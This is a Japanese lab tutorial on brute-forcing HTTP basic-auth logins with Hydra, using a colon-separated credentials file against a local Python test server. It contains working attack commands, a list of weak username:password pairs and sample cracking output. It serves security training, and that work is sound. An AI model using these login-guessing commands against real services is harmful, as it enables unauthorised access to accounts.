はじめに
この実験では、Hydra を使用した資格情報ベースの攻撃方法を学びます。この実験では、ユーザー名とパスワードの組み合わせを含むコロン区切りの資格情報ファイルを使用して、ターゲットサービスのログイン資格情報をクラッキングすることに焦点を当てています。
まず、nano などのテキストエディタを使用して、credentials.txt ファイルを作成し、ユーザー名:パスワードのペアを記述します。次に、-C オプションを使用して Hydra にこのファイルを読み込ませ、Hydra がターゲットに対して複数のログイン組み合わせを試行できるようにします。最後に、攻撃に使用した資格情報と出力結果が一致することを確認します。
ログイン情報 (ユーザー名:パスワード) ファイルを作成する
このステップでは、ユーザー名とパスワードを 1 行ずつ、コロン (:) で区切って記述したファイルを作成します。このファイルは、後で Hydra を使用してターゲットサービスのログイン資格情報をクラッキングしようとする際に使用されます。
まず、資格情報ファイルに必要な形式を理解しましょう。各行は、ユーザー名、コロン (: )、対応するパスワードで構成する必要があります。例えば:
username1:password1
username2:password2
次に、ファイルを作成します。nano テキストエディタを使用します。まだ ~/project ディレクトリにいない場合は、ターミナルで移動します。
cd ~/project
~/projectディレクトリで、credentials.txtという名前の新しいファイルを開きます。nanoコマンドを使用します。nano credentials.txtnanoエディタで、Hydra が使用を試みる以下のユーザー名/パスワードの組み合わせを追加します。admin:password user1:123456 test:test root:toorファイルを保存するには、
Ctrl+O(書き出し) を押します。nanoはファイル名を尋ねます。デフォルトのファイル名 (credentials.txt) をそのまま受け入れるには、Enterキーを押します。nanoを終了するには、Ctrl+Xを押します。
これで、ファイルが作成され、正しい内容が含まれていることを確認しましょう。cat コマンドを使用して credentials.txt ファイルの内容を表示します。
cat credentials.txt
先ほど入力したユーザー名/パスワードの組み合わせが表示されるはずです。
admin:password
user1:123456
test:test
root:toor
これで、Hydra と共に使用できる資格情報ファイルを作成しました。このファイルには、Hydra がターゲットサービスに対して試す可能性のあるユーザー名とパスワードのリストが含まれています。
認証付き基本 HTTP サーバーを設定する
このステップでは、基本認証が必要なシンプルな HTTP サーバーを設定します。このサーバーは、次のステップの Hydra 攻撃のターゲットとして使用されます。Python スクリプトを使用します。
まず、~/project ディレクトリにいることを確認します。
cd ~/project
次に、nano を使用して新しい Python ファイル webserver.py を作成します。
nano webserver.py
以下の Python コードをエディタに貼り付けます。
import http.server
import socketserver
import base64
PORT = 8000
class AuthHandler(http.server.SimpleHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_AUTHHEAD(self):
self.send_response(401)
self.send_header('WWW-Authenticate', 'Basic realm="My Realm"')
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
auth = self.headers.get('Authorization')
if auth == None:
self.do_AUTHHEAD()
self.wfile.write(b"Authentication Required")
elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password base64 エンコード済み
http.server.SimpleHTTPRequestHandler.do_GET(self)
else:
self.do_AUTHHEAD()
self.wfile.write(b"Authentication Failed")
Handler = AuthHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
このスクリプトは、ポート 8000 に基本認証が必要な基本的な HTTP サーバーを作成します。正しいユーザー名はadmin、パスワードはpasswordです。base64 エンコードされた文字列YWRtaW46cGFzc3dvcmQ=はadmin:passwordを表します。
ファイルを保存します (Ctrl+O、次にEnter)。nanoを終了します (Ctrl+X)。
次に、Python スクリプトを実行して HTTP サーバーを起動します。ターミナルを継続して使用できるように、バックグラウンドで実行します。
nohup python3 webserver.py > /dev/null 2>&1 &
nohupコマンドは、ターミナルを閉じてもプロセスが継続して実行されるようにします。> /dev/null 2>&1は標準出力と標準エラー出力を/dev/nullにリダイレクトし、サーバーの出力によってターミナルが煩雑になるのを防ぎます。&はコマンドをバックグラウンドで実行します。
サーバーが動作していることを確認するには、ポート 8000 でプロセスがリスニングしているかどうかを確認できます。
ss -ltn | grep ':8000'
ポート 8000 でプロセスがリスニングしていることを示す、次の様な出力が表示されるはずです。
LISTEN 0 4096 0.0.0.0:8000 0.0.0.0:*
次のステップのために、このサーバーを稼働させておいてください。
Hydra を使用した認証ファイルによる HTTP 攻撃
このステップでは、前のステップで設定した HTTP サービスに対して Hydra を使用して攻撃を行います。-Cオプションを使用して、ステップ 1 で作成した資格情報ファイルを読み込むことで、Hydra が複数のユーザー名/パスワードの組み合わせを効率的に試すことができます。
~/project ディレクトリにいることを確認します。
cd ~/project
次に、ポート 8000 で127.0.0.1上で実行されている HTTP サーバーを攻撃するために、以下の Hydra コマンドを実行します。
hydra -C credentials.txt 127.0.0.1 http-get / -s 8000 -vV
このコマンドを分解してみましょう。
hydra: Hydra ツールを実行するコマンド。-C credentials.txt: 作成した資格情報ファイルへのパスを指定します。Hydra は、このファイルからユーザー名/パスワードの組み合わせを読み込みます。127.0.0.1: ターゲットの IP アドレス。ループバックアドレスであり、ローカルマシンを指します。http-get /: 攻撃するサービス(HTTP)とリクエストするパス(/)を指定します。http-getは HTTP GET リクエストを実行するモジュールです。-s 8000: ターゲットサービスのポート番号を指定します。HTTP サーバーはポート 8000 で実行されています。-vV: 詳細モードを有効にします。ログイン試行と発見された資格情報が表示されます。
Hydra は、credentials.txtファイルのユーザー名/パスワードの組み合わせを使用して、HTTP サーバーに対してブルートフォース攻撃を試みます。各組み合わせをターゲットサービスに対して試します。
Hydra から、さまざまなユーザー名/パスワードの組み合わせを試していることを示す出力が表示されます。Hydra が正しい資格情報 (admin:password) を成功して発見した場合、出力に表示されます。
成功時の出力例:
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at ...
[DATA] max 16 tasks per 1 server, overall 16 tasks, 4 login tries (l:4/p:1), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:8000/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user1" - pass "123456" - 2 of 4 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "test" - 3 of 4 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "toor" - 4 of 4 [child 3] (0/0)
[8000][http-get] host: 127.0.0.1 login: admin password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at ...
攻撃が成功すると、Hydra は正しいユーザー名とパスワードを出力します。
発見した認証情報を確認する
このステップでは、前のステップで Hydra が攻撃で見つけた認証情報が、credentials.txtファイルとwebserver.pyスクリプトの期待される認証情報と一致することを確認します。これにより、Hydra が有効なログイン組み合わせを正しく特定したことを検証します。
前のステップで、Hydra の出力は次の行(または類似の行)を表示するはずです。
[8000][http-get] host: 127.0.0.1 login: admin password: password
この行は、Hydra がターゲットサービスに対してユーザー名adminとパスワードpasswordを正しく発見したことを示しています。
それでは、これらの認証情報が実際に作成したファイルに存在することを確認しましょう。
credentials.txt内の認証情報の確認:catコマンドを使用して、credentials.txtファイルの内容を表示します。cat credentials.txtファイルに
admin:passwordという行が含まれていることを確認します。これは Hydra が試みた組み合わせの 1 つです。webserver.py内の認証情報の確認:catコマンドを使用して、webserver.pyファイルの内容を表示します。cat webserver.pybase64 エンコードされた認証ヘッダーをチェックする行を探します。次の様な行が見つかるはずです。
elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password base64 encoded文字列
YWRtaW46cGFzc3dvcmQ=は、admin:passwordの base64 エンコードです。これにより、サーバーがユーザー名としてadmin、パスワードとしてpasswordを受け入れるように設定されていることを確認します。
Hydra によって発見された認証情報が、サーバースクリプトで設定され、資格情報ファイルにある認証情報と一致することを確認することで、-Cオプションを使用したブルートフォース攻撃の成功を確認します。
最後に、バックグラウンドの HTTP サーバープロセスを停止しましょう。ssコマンドを使用してプロセス ID(PID)を見つけることができます。
ss -ltn | grep ':8000'
出力は、2 番目の列に PID を表示します。例えば:
LISTEN 0 4096 0.0.0.0:8000 0.0.0.0:* users:(("python3",pid=12345,fd=3))
この例では、PID は12345です。killコマンドを使用してプロセスを停止します。[PID]を実際に発見した PID に置き換えてください。
kill [PID]
例えば、PID が 12345 の場合:
kill 12345
ss -ltn | grep ':8000'をもう一度実行して、サーバーが停止したことを確認できます。出力がないはずです。
まとめ
この実験では、ユーザー名とパスワードの組み合わせをコロンで区切り、各組み合わせを改行で区切ったcredentials.txtという資格情報ファイルを作成する方法を学びました。このファイルは~/projectディレクトリに保存され、Hydra での使用準備が整えられています。
また、Python スクリプトを使用して認証機能付きの基本的な HTTP サーバーを設定する方法も学びました。このサーバーが攻撃のターゲットとなりました。
最後に、Hydra に-Cオプションを使用して資格情報ファイルを読み込み、HTTP サーバーに対してブルートフォース攻撃を実行し、複数のログイン組み合わせを効率的にテストする方法を実証しました。発見された認証情報が期待される値と一致することを確認し、攻撃の成功を検証しました。


